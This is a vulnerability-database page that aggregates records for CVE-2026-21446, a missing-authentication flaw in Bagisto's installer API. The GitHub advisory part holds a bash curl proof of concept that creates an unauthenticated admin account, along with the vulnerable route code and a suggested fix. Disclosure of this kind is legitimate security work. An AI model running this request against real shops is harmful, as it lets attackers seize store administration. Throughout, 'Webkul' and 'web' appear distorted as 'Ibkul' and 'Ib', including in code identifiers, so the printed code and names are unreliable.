Vulnerability-Lookup

CVE-2026-21446 (GCVE-0-2026-21446)

Vulnerability from cvelistv5 – Published: 2026-01-02 19:18 – Updated: 2026-01-05 15:54

Title

Bagisto Missing Authentication on Installer API Endpoints

Summary

Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.

Severity ?

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M

References

URL

Tags

	https://github.com/bagisto/bagisto/security/advis…	x_refsource_CONFIRM
	https://github.com/bagisto/bagisto/commit/380c045…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	bagisto	bagisto	Affected: >= 2.3.0, < 2.3.10

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-21446",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-05T15:54:26.979889Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-05T15:54:55.916Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "bagisto",
          "vendor": "bagisto",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.3.0, \u003c 2.3.10"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-02T19:18:36.095Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw"
        },
        {
          "name": "https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed"
        }
      ],
      "source": {
        "advisory": "GHSA-6h7w-v2xr-mqvw",
        "discovery": "UNKNOWN"
      },
      "title": "Bagisto Missing Authentication on Installer API Endpoints"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-21446",
    "datePublished": "2026-01-02T19:18:36.095Z",
    "dateReserved": "2025-12-29T03:00:29.277Z",
    "dateUpdated": "2026-01-05T15:54:55.916Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-21446\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-01-02T20:16:18.020\",\"lastModified\":\"2026-01-08T21:25:06.213\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.\"}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"PROOF_OF_CONCEPT\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":9.8,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-306\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"2.3.0\",\"versionEndExcluding\":\"2.3.10\",\"matchCriteriaId\":\"284410C8-A6CA-4BA3-A484-8E4B8EE3DC4E\"}]}]}],\"references\":[{\"url\":\"https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-21446\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-01-05T15:54:26.979889Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-01-05T15:54:52.277Z\"}}], \"cna\": {\"title\": \"Bagisto Missing Authentication on Installer API Endpoints\", \"source\": {\"advisory\": \"GHSA-6h7w-v2xr-mqvw\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"NONE\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"HIGH\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"NONE\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"bagisto\", \"product\": \"bagisto\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 2.3.0, \u003c 2.3.10\"}]}], \"references\": [{\"url\": \"https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw\", \"name\": \"https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed\", \"name\": \"https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-306\", \"description\": \"CWE-306: Missing Authentication for Critical Function\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-01-02T19:18:36.095Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-21446\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-01-05T15:54:55.916Z\", \"dateReserved\": \"2025-12-29T03:00:29.277Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-01-02T19:18:36.095Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-21446

Vulnerability from fkie_nvd - Published: 2026-01-02 20:16 - Updated: 2026-01-08 21:25

Severity ?

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed	Patch
	security-advisories@github.com	https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	webkul	bagisto	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:webkul:bagisto:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "284410C8-A6CA-4BA3-A484-8E4B8EE3DC4E",
              "versionEndExcluding": "2.3.10",
              "versionStartIncluding": "2.3.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Bagisto is an open source laravel eCommerce platform. In versions on the 2.3 branch prior to 2.3.10, API routes remain active even after initial installation is complete. The underlying API endpoints (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly. This allows any unauthenticated attacker to create admin accounts, modify application configurations, and potentially overwrite existing data. Version 2.3.10 fixes the issue."
    }
  ],
  "id": "CVE-2026-21446",
  "lastModified": "2026-01-08T21:25:06.213",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-01-02T20:16:18.020",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-306"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-6H7W-V2XR-MQVW

Vulnerability from github – Published: 2026-01-02 21:14 – Updated: 2026-01-08 21:35

Summary

Bagisto Missing Authentication on Installer API Endpoints

Details

Vulnerable Code

File: packages/Ibkul/Installer/src/Routes/Ib.php

<?php

use Illuminate\\Session\\Middleware\\StartSession;  
use Illuminate\\Support\\Facades\\Route;  
use Ibkul\\Installer\\Http\\Controllers\\InstallerController;

Route::middleware(\['Ib', 'installer\_locale'\])-\>group(function () {  
    Route::controller(InstallerController::class)-\>group(function () {  
        Route::get('install', 'index')-\>name('installer.index');

        Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () {  
            Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\_file\_setup');  
            Route::post('run-migration', 'runMigration')-\>name('installer.run\_migration')-\>withoutMiddleware('Ib');  
            Route::post('run-seeder', 'runSeeder')-\>name('installer.run\_seeder')-\>withoutMiddleware('Ib');  
            Route::get('download-sample', 'downloadSample')-\>name('installer.download\_sample')-\>withoutMiddleware('Ib');  
            Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\_config\_setup')-\>withoutMiddleware('Ib');  
            Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\_products\_setup')-\>withoutMiddleware('Ib');  
        });  
    });  
});

API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:

Create admin accounts
Modify application configuration
Potentially overwrite existing data

the underlying API endpoints (/install/api/*) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.

How to Reproduce

The Ib installer UI at http://localhost:8000/install has client-side protections
However, the API endpoints are directly exploitable:
The attack works by calling /install/api/admin-config-setup directly via curl/HTTP client
No CSRF token, session, or authentication is required
The Ib UI workflow is completely bypassed

Proof of Concept

#!/bin/bash
# PoC: Create admin account without authentication


TARGET="http://localhost:8000"


# Create a new admin account
curl -X POST "$TARGET/install/api/admin-config-setup" \
    -H "Content-Type: application/json" \
    -d '{
        "admin_name": "Attacker",
        "admin_email": "attacker@evil.com",
        "admin_password": "HackedPassword123"
    }'


echo ""
echo "New admin account created!"
echo "Login at: $TARGET/admin"
echo "Email: attacker@evil.com"

Expected Result

The API should reject unauthenticated requests with 401/403 status.

Actual Result

The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.

Recommended Patch

Add installation completion check

// In InstallerController.php or a new middleware


public function __construct()
{
    // Check if application is already installed
    if (file_exists(base_path('.env')) &&
        config('app.key') &&
        \Schema::hasTable('admins') &&
        \DB::table('admins')->count() > 0) {
        abort(404, 'Application already installed');
    }
}

Severity ?

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bagisto/bagisto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-02T21:14:06Z",
    "nvd_published_at": "2026-01-02T20:16:18Z",
    "severity": "HIGH"
  },
  "details": "### Vulnerable Code\n\n**File:** `packages/Ibkul/Installer/src/Routes/Ib.php`\n\n```\n\u003c?php\n\nuse Illuminate\\\\Session\\\\Middleware\\\\StartSession;  \nuse Illuminate\\\\Support\\\\Facades\\\\Route;  \nuse Ibkul\\\\Installer\\\\Http\\\\Controllers\\\\InstallerController;\n\nRoute::middleware(\\[\u0027Ib\u0027, \u0027installer\\_locale\u0027\\])-\\\u003egroup(function () {  \n    Route::controller(InstallerController::class)-\\\u003egroup(function () {  \n        Route::get(\u0027install\u0027, \u0027index\u0027)-\\\u003ename(\u0027installer.index\u0027);\n\n        Route::middleware(StartSession::class)-\\\u003eprefix(\u0027install/api\u0027)-\\\u003egroup(function () {  \n            Route::post(\u0027env-file-setup\u0027, \u0027envFileSetup\u0027)-\\\u003ename(\u0027installer.env\\_file\\_setup\u0027);  \n            Route::post(\u0027run-migration\u0027, \u0027runMigration\u0027)-\\\u003ename(\u0027installer.run\\_migration\u0027)-\\\u003ewithoutMiddleware(\u0027Ib\u0027);  \n            Route::post(\u0027run-seeder\u0027, \u0027runSeeder\u0027)-\\\u003ename(\u0027installer.run\\_seeder\u0027)-\\\u003ewithoutMiddleware(\u0027Ib\u0027);  \n            Route::get(\u0027download-sample\u0027, \u0027downloadSample\u0027)-\\\u003ename(\u0027installer.download\\_sample\u0027)-\\\u003ewithoutMiddleware(\u0027Ib\u0027);  \n            Route::post(\u0027admin-config-setup\u0027, \u0027adminConfigSetup\u0027)-\\\u003ename(\u0027installer.admin\\_config\\_setup\u0027)-\\\u003ewithoutMiddleware(\u0027Ib\u0027);  \n            Route::post(\u0027sample-products-setup\u0027, \u0027createSampleProducts\u0027)-\\\u003ename(\u0027installer.sample\\_products\\_setup\u0027)-\\\u003ewithoutMiddleware(\u0027Ib\u0027);  \n        });  \n    });  \n});\n```\n\nAPI routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:\n\n- Create admin accounts  \n- Modify application configuration  \n- Potentially overwrite existing data\n\nthe underlying **API endpoints** (`/install/api/*`) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.\n\n### How to Reproduce\n\n1. The Ib installer UI at `http://localhost:8000/install` has client-side protections  \n2. **However, the API endpoints are directly exploitable:**  \n   - The attack works by calling `/install/api/admin-config-setup` directly via curl/HTTP client  \n   - No CSRF token, session, or authentication is required  \n   - The Ib UI workflow is completely bypassed\n\n### Proof of Concept\n\n```\n#!/bin/bash\n# PoC: Create admin account without authentication\n\n\nTARGET=\"http://localhost:8000\"\n\n\n# Create a new admin account\ncurl -X POST \"$TARGET/install/api/admin-config-setup\" \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\n        \"admin_name\": \"Attacker\",\n        \"admin_email\": \"attacker@evil.com\",\n        \"admin_password\": \"HackedPassword123\"\n    }\u0027\n\n\necho \"\"\necho \"New admin account created!\"\necho \"Login at: $TARGET/admin\"\necho \"Email: attacker@evil.com\"\n```\n\n### Expected Result\n\nThe API should reject unauthenticated requests with 401/403 status.\n\n### Actual Result\n\nThe API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.\n\n### Recommended Patch\n\nAdd installation completion check\n\n```\n// In InstallerController.php or a new middleware\n\n\npublic function __construct()\n{\n    // Check if application is already installed\n    if (file_exists(base_path(\u0027.env\u0027)) \u0026\u0026\n        config(\u0027app.key\u0027) \u0026\u0026\n        \\Schema::hasTable(\u0027admins\u0027) \u0026\u0026\n        \\DB::table(\u0027admins\u0027)-\u003ecount() \u003e 0) {\n        abort(404, \u0027Application already installed\u0027);\n    }\n}\n```",
  "id": "GHSA-6h7w-v2xr-mqvw",
  "modified": "2026-01-08T21:35:01Z",
  "published": "2026-01-02T21:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-6h7w-v2xr-mqvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21446"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bagisto/bagisto/commit/380c045e48490da740cd505fb192cc45e1809bed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bagisto/bagisto"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bagisto Missing Authentication on Installer API Endpoints"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-21446 (GCVE-0-2026-21446)

FKIE_CVE-2026-21446

GHSA-6H7W-V2XR-MQVW

Vulnerable Code

How to Reproduce

Proof of Concept

Expected Result

Actual Result

Recommended Patch

Tags

Sightings

Nomenclature